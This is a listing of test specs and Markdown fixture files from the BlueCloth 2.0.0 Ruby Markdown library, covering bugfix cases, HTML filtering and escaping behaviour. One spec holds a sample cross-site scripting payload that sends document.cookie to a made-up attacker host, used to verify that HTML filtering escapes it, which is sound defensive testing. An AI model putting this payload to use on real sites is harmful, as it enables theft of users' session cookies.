bluecloth 2.0.0

data/spec/bugfix_spec.rb

@@ -0,0 +1,123 @@
+#!/usr/bin/env ruby
+
+BEGIN {
+	require 'pathname'
+	basedir = Pathname.new( __FILE__ ).dirname.parent
+	
+	libdir = basedir + 'lib'
+	extdir = basedir + 'ext'
+	
+	$LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir )
+	$LOAD_PATH.unshift( extdir ) unless $LOAD_PATH.include?( extdir )
+}
+
+require 'rubygems'
+require 'spec'
+require 'bluecloth'
+
+require 'spec/lib/helpers'
+require 'spec/lib/constants'
+require 'spec/lib/matchers'
+
+
+#####################################################################
+###	C O N T E X T S
+#####################################################################
+
+describe BlueCloth, "bugfixes" do
+	include BlueCloth::TestConstants,
+		BlueCloth::Matchers
+
+	before( :all ) do
+		@basedir = Pathname.new( __FILE__ ).dirname.parent
+		@datadir = @basedir + 'spec/data'
+	end
+	
+	
+
+	### Test to be sure the README file can be transformed.
+	it "can transform the included README file" do
+		readme = @basedir + 'README'
+		contents = readme.read
+
+		bcobj = BlueCloth::new( contents )
+
+		lambda do
+			timeout( 2 ) { bcobj.to_html }
+		end.should_not raise_error()
+	end
+
+
+	it "provides a workaround for the regexp-engine overflow bug" do
+		datafile = @datadir + 're-overflow.txt'
+		markdown = datafile.read
+
+		lambda { BlueCloth.new(markdown).to_html }.should_not raise_error()
+	end
+
+	
+	it "provides a workaround for the second regexp-engine overflow bug" do
+		datafile = @datadir + 're-overflow2.txt'
+		markdown = datafile.read
+
+		lambda { BlueCloth.new(markdown).to_html }.should_not raise_error()
+	end
+	
+
+	it "correctly wraps <strong> tags around two characters enclosed in four asterisks" do
+		the_markdown( "**aa**" ).should be_transformed_into( "<p><strong>aa</strong></p>" )
+	end
+
+
+	it "correctly wraps <strong> tags around a single character enclosed in four asterisks" do
+		the_markdown( "**a**" ).should be_transformed_into( "<p><strong>a</strong></p>" )
+	end
+
+
+	it "correctly wraps <strong> tags around two characters enclosed in four underscores" do
+		the_markdown( "__aa__" ).should be_transformed_into( "<p><strong>aa</strong></p>" )
+	end
+
+
+	it "correctly wraps <strong> tags around a single character enclosed in four underscores" do
+		the_markdown( "__a__" ).should be_transformed_into( "<p><strong>a</strong></p>" )
+	end
+
+
+	it "correctly wraps <em> tags around two characters enclosed in two asterisks" do
+		the_markdown( "*aa*" ).should be_transformed_into( "<p><em>aa</em></p>" )
+	end
+
+
+	it "correctly wraps <em> tags around a single character enclosed in two asterisks" do
+		the_markdown( "*a*" ).should be_transformed_into( "<p><em>a</em></p>" )
+	end
+
+
+	it "correctly wraps <em> tags around two characters enclosed in four underscores" do
+		the_markdown( "_aa_" ).should be_transformed_into( "<p><em>aa</em></p>" )
+	end
+
+
+	it "correctly wraps <em> tags around a single character enclosed in four underscores" do
+		the_markdown( "_a_" ).should be_transformed_into( "<p><em>a</em></p>" )
+	end
+
+
+	it "doesn't raise an error when run with $VERBOSE = true" do
+		oldverbose = $VERBOSE
+
+		lambda do
+			$VERBOSE = true
+			BlueCloth.new( "*woo*" ).to_html
+		end.should_not raise_error()
+
+		$VERBOSE = oldverbose
+	end
+	
+	
+end
+
+
+__END__
+

data/spec/contributions_spec.rb

@@ -0,0 +1,85 @@
+#!/usr/bin/env ruby
+
+BEGIN {
+	require 'pathname'
+	basedir = Pathname.new( __FILE__ ).dirname.parent
+	
+	libdir = basedir + 'lib'
+	extdir = basedir + 'ext'
+	
+	$LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir )
+	$LOAD_PATH.unshift( extdir ) unless $LOAD_PATH.include?( extdir )
+}
+
+require 'rubygems'
+require 'spec'
+require 'bluecloth'
+
+require 'spec/lib/helpers'
+require 'spec/lib/constants'
+require 'spec/lib/matchers'
+
+
+#####################################################################
+###	C O N T E X T S
+#####################################################################
+
+describe BlueCloth, "contributed features: " do
+	include BlueCloth::TestConstants,
+		BlueCloth::Matchers
+
+	### HTML filter options contributed by Florian Gross.
+	describe "Florian Gross's HTML filtering (backward-compatibility)" do
+
+		DANGEROUS_HTML =
+			"<script>document.location='http://www.hacktehplanet.com" +
+			"/cgi-bin/cookie.cgi?' + document.cookie</script>"
+		DANGEROUS_HTML_OUTPUT =
+			"<p>&lt;script>document.location='http://www.hacktehplanet.com" +
+			"/cgi-bin/cookie.cgi?' + document.cookie&lt;/script></p>"
+
+		NO_LESS_THAN_TEXT = "Foo is definitely > than bar"
+		NO_LESS_THAN_OUTPUT = "<p>Foo is definitely > than bar</p>"
+
+
+		### Test the :filter_html restriction
+		it "can be configured with html filtering when created" do
+			bc = BlueCloth.new( 'foo', :filter_html )
+			bc.filter_html.should be_true()
+		end
+	
+	
+		it "can be configured with html filtering (via an Array of options) when created" do
+			bc = BlueCloth.new( 'foo', [:filter_html] )
+			bc.filter_html.should be_true()
+		end
+	
+	
+		it "raises an appropriate error when #filter_html= is called" do
+			lambda {
+				BlueCloth.new( 'foo' ).filter_html = true
+			}.should raise_error( NotImplementedError, /sorry/i )
+		end
+	
+	
+		it "can escape any existing HTML in the input if configured to do so" do
+			the_markdown( DANGEROUS_HTML, :filter_html ).
+				should be_transformed_into( DANGEROUS_HTML_OUTPUT )
+		end
+
+
+		it "doesn't raise an exception when filtering source with a lone closing angle bracket" do
+			the_markdown( NO_LESS_THAN_TEXT, :filter_html ).
+				should be_transformed_into( NO_LESS_THAN_OUTPUT )
+		end
+
+
+		it "ignores a :filter_styles argument for RedCloth compatibility" do
+			lambda {
+				BlueCloth.new( '', :filter_styles )
+			}.should_not raise_error()
+		end
+	end
+
+end
+

data/spec/data/antsugar.txt

@@ -0,0 +1,34 @@
+The Ant-Sugar Tales
+===================
+
+By Candice Yellowflower  
+
+The _Ant-Sugar Tales_ is a collection of short stories told from the
+perspective of a fine young lady from [Venice][1], who has some run-ins
+with a few [inquisitive insects][2]. Each tale presents a moral quandry,
+which the ants are quick to solve with their antly wisdom and
+know-how. Some of the moral lessons presented are:
+
+* Laundry: How not to get caught in soiled knickers.
+* Used Ticket Stubs and Their Impact on the Universe
+* I'm Keeping a Birdhouse in my Attic
+
+Use of Metaphor
+---------------
+
+The author's splended use of metaphor can be attributed to her growing
+up in a art-supply store. Her characters are richly outlined, but her
+unusual descriptions can sometimes be a bit jarring in places, such as
+her description of the old caretaker that lives inside a hollow tree in
+her yard:
+
+> His skin was smooth like Magnani Pescia 100% acid-free cold pressed
+> 22x30" Soft White Paper, with fine hair like the bristles of a Habico
+> Lasur Superb Oil Glazing Brush Size 10.
+
+
+  [1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3
+  	   (Venice: The Grand Canal)
+  [2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html
+
+

data/spec/data/markdowntest/Amps and angle encoding.html

@@ -0,0 +1,17 @@
+<p>AT&amp;T has an ampersand in their name.</p>
+
+<p>AT&amp;T is another way to write it.</p>
+
+<p>This &amp; that.</p>
+
+<p>4 &lt; 5.</p>
+
+<p>6 > 5.</p>
+
+<p>Here's a <a href="http://example.com/?foo=1&amp;bar=2">link</a> with an ampersand in the URL.</p>
+
+<p>Here's a link with an amersand in the link text: <a href="http://att.com/" title="AT&amp;T">AT&amp;T</a>.</p>
+
+<p>Here's an inline <a href="/script?foo=1&amp;bar=2">link</a>.</p>
+
+<p>Here's an inline <a href="/script?foo=1&amp;bar=2">link</a>.</p>

data/spec/data/markdowntest/Amps and angle encoding.text

@@ -0,0 +1,21 @@
+AT&T has an ampersand in their name.
+
+AT&T is another way to write it.
+
+This & that.
+
+4 < 5.
+
+6 > 5.
+
+Here's a [link] [1] with an ampersand in the URL.
+
+Here's a link with an amersand in the link text: [AT&T] [2].
+
+Here's an inline [link](/script?foo=1&bar=2).
+
+Here's an inline [link](</script?foo=1&bar=2>).
+
+
+[1]: http://example.com/?foo=1&bar=2
+[2]: http://att.com/  "AT&T"

data/spec/data/markdowntest/Auto links.html

@@ -0,0 +1,18 @@
+<p>Link: <a href="http://example.com/">http://example.com/</a>.</p>
+
+<p>With an ampersand: <a href="http://example.com/?foo=1&amp;bar=2">http://example.com/?foo=1&amp;bar=2</a></p>
+
+<ul>
+<li>In a list?</li>
+<li><a href="http://example.com/">http://example.com/</a></li>
+<li>It should.</li>
+</ul>
+
+<blockquote>
+  <p>Blockquoted: <a href="http://example.com/">http://example.com/</a></p>
+</blockquote>
+
+<p>Auto-links should not occur here: <code>&lt;http://example.com/&gt;</code></p>
+
+<pre><code>or here: &lt;http://example.com/&gt;
+</code></pre>

data/spec/data/markdowntest/Auto links.text

@@ -0,0 +1,13 @@
+Link: <http://example.com/>.
+
+With an ampersand: <http://example.com/?foo=1&bar=2>
+
+* In a list?
+* <http://example.com/>
+* It should.
+
+> Blockquoted: <http://example.com/>
+
+Auto-links should not occur here: `<http://example.com/>`
+
+	or here: <http://example.com/>

data/spec/data/markdowntest/Backslash escapes.html

@@ -0,0 +1,118 @@
+<p>These should all get escaped:</p>
+
+<p>Backslash: \</p>
+
+<p>Backtick: `</p>
+
+<p>Asterisk: *</p>
+
+<p>Underscore: _</p>
+
+<p>Left brace: {</p>
+
+<p>Right brace: }</p>
+
+<p>Left bracket: [</p>
+
+<p>Right bracket: ]</p>
+
+<p>Left paren: (</p>
+
+<p>Right paren: )</p>
+
+<p>Greater-than: ></p>
+
+<p>Hash: #</p>
+
+<p>Period: .</p>
+
+<p>Bang: !</p>
+
+<p>Plus: +</p>
+
+<p>Minus: -</p>
+
+<p>These should not, because they occur within a code block:</p>
+
+<pre><code>Backslash: \\
+
+Backtick: \`
+
+Asterisk: \*
+
+Underscore: \_
+
+Left brace: \{
+
+Right brace: \}
+
+Left bracket: \[
+
+Right bracket: \]
+
+Left paren: \(
+
+Right paren: \)
+
+Greater-than: \&gt;
+
+Hash: \#
+
+Period: \.
+
+Bang: \!
+
+Plus: \+
+
+Minus: \-
+</code></pre>
+
+<p>Nor should these, which occur in code spans:</p>
+
+<p>Backslash: <code>\\</code></p>
+
+<p>Backtick: <code>\`</code></p>
+
+<p>Asterisk: <code>\*</code></p>
+
+<p>Underscore: <code>\_</code></p>
+
+<p>Left brace: <code>\{</code></p>
+
+<p>Right brace: <code>\}</code></p>
+
+<p>Left bracket: <code>\[</code></p>
+
+<p>Right bracket: <code>\]</code></p>
+
+<p>Left paren: <code>\(</code></p>
+
+<p>Right paren: <code>\)</code></p>
+
+<p>Greater-than: <code>\&gt;</code></p>
+
+<p>Hash: <code>\#</code></p>
+
+<p>Period: <code>\.</code></p>
+
+<p>Bang: <code>\!</code></p>
+
+<p>Plus: <code>\+</code></p>
+
+<p>Minus: <code>\-</code></p>
+
+
+<p>These should get escaped, even though they're matching pairs for
+other Markdown constructs:</p>
+
+<p>*asterisks*</p>
+
+<p>_underscores_</p>
+
+<p>`backticks`</p>
+
+<p>This is a code span with a literal backslash-backtick sequence: <code>\`</code></p>
+
+<p>This is a tag with unescaped backticks <span attr='`ticks`'>bar</span>.</p>
+
+<p>This is a tag with backslashes <span attr='\\backslashes\\'>bar</span>.</p>

data/spec/data/markdowntest/Backslash escapes.text

@@ -0,0 +1,120 @@
+These should all get escaped:
+
+Backslash: \\
+
+Backtick: \`
+
+Asterisk: \*
+
+Underscore: \_
+
+Left brace: \{
+
+Right brace: \}
+
+Left bracket: \[
+
+Right bracket: \]
+
+Left paren: \(
+
+Right paren: \)
+
+Greater-than: \>
+
+Hash: \#
+
+Period: \.
+
+Bang: \!
+
+Plus: \+
+
+Minus: \-
+
+
+
+These should not, because they occur within a code block:
+
+	Backslash: \\
+
+	Backtick: \`
+
+	Asterisk: \*
+
+	Underscore: \_
+
+	Left brace: \{
+
+	Right brace: \}
+
+	Left bracket: \[
+
+	Right bracket: \]
+
+	Left paren: \(
+
+	Right paren: \)
+
+	Greater-than: \>
+
+	Hash: \#
+
+	Period: \.
+
+	Bang: \!
+
+	Plus: \+
+
+	Minus: \-
+
+
+Nor should these, which occur in code spans:
+
+Backslash: `\\`
+
+Backtick: `` \` ``
+
+Asterisk: `\*`
+
+Underscore: `\_`
+
+Left brace: `\{`
+
+Right brace: `\}`
+
+Left bracket: `\[`
+
+Right bracket: `\]`
+
+Left paren: `\(`
+
+Right paren: `\)`
+
+Greater-than: `\>`
+
+Hash: `\#`
+
+Period: `\.`
+
+Bang: `\!`
+
+Plus: `\+`
+
+Minus: `\-`
+
+
+These should get escaped, even though they're matching pairs for
+other Markdown constructs:
+
+\*asterisks\*
+
+\_underscores\_
+
+\`backticks\`
+
+This is a code span with a literal backslash-backtick sequence: `` \` ``
+
+This is a tag with unescaped backticks <span attr='`ticks`'>bar</span>.
+
+This is a tag with backslashes <span attr='\\backslashes\\'>bar</span>.